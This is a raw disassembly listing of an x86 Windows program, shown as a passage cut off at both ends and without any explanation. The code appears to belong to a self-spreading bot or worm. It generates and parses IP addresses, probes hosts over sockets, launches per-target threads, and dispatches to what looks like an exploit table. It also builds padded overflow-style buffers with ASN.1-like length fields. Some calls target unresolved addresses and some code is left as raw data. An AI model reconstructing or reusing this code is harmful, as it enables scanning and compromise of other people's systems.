ds:4CB0F0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAECC inc eax push eax mov [ebp+arg_0], eax call dword_4CAFA0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0F0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CB024 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAFA4 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB040 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF4C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF8C push esi mov edi, eax call dword_4CB03C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call near ptr 26905D6h nop push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEE4[ebx] cmp dword_4CB0F4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEE4[ebx] push [ebp+var_3C] push edi call dword_4CB030 push eax lea eax, [ebp+var_28C] push offset unk_431AA4 push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCE0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0F0 call near ptr 77F7E21Fh nop push [ebp+var_3C] push edi call dword_4CB030 push eax lea eax, [ebp+var_28C] push offset unk_431A7C push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0F0 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB030 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43143C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h nop call near ptr 2670ECEh jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 call near ptr 26E0000h nop loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFE4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0F0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0F0 push esi call near ptr 26E06DFh nop push 80000400h push esi nop call near ptr 26E052Fh test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B88 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0F4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B54 push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEE4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j nop call near ptr 2680930h push eax lea eax, [ebp+var_1CC] push offset unk_431B1C push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0F0[eax*8] push eax call dword_4CB030 push eax lea eax, [ebp+var_1CC] push offset unk_431ADC push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0F4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0F0 call near ptr 26E06DFh nop loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx nop call near ptr 26E0000h loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0F4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAFA4 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CB024 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF4C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEEC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB030 push eax mov edi, offset dword_4CDAB4 push offset dword_431BBC push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB03C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B03015FFh, 8D50004Ch, 0FFFECC85h dd 1BE468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCE00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 0E8905757h, 2273910h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0C9E890FCh, 0FF022552h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAECCh dd 45895040h, 0A015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 3015FFE4h, 50004CB0h, 0FED0858Dh, 3868FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0E0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 90575700h dd 27381FE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0D9E80875h, 90022551h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 3015FFE4h, 50004CB0h, 0FED0858Dh, 0C68FFFFh dd 5000431Ch, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE5C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C91C call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C70 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C78 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FF4 lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C7C lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FE8 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FE4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FE0 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FD4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431FCF+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub 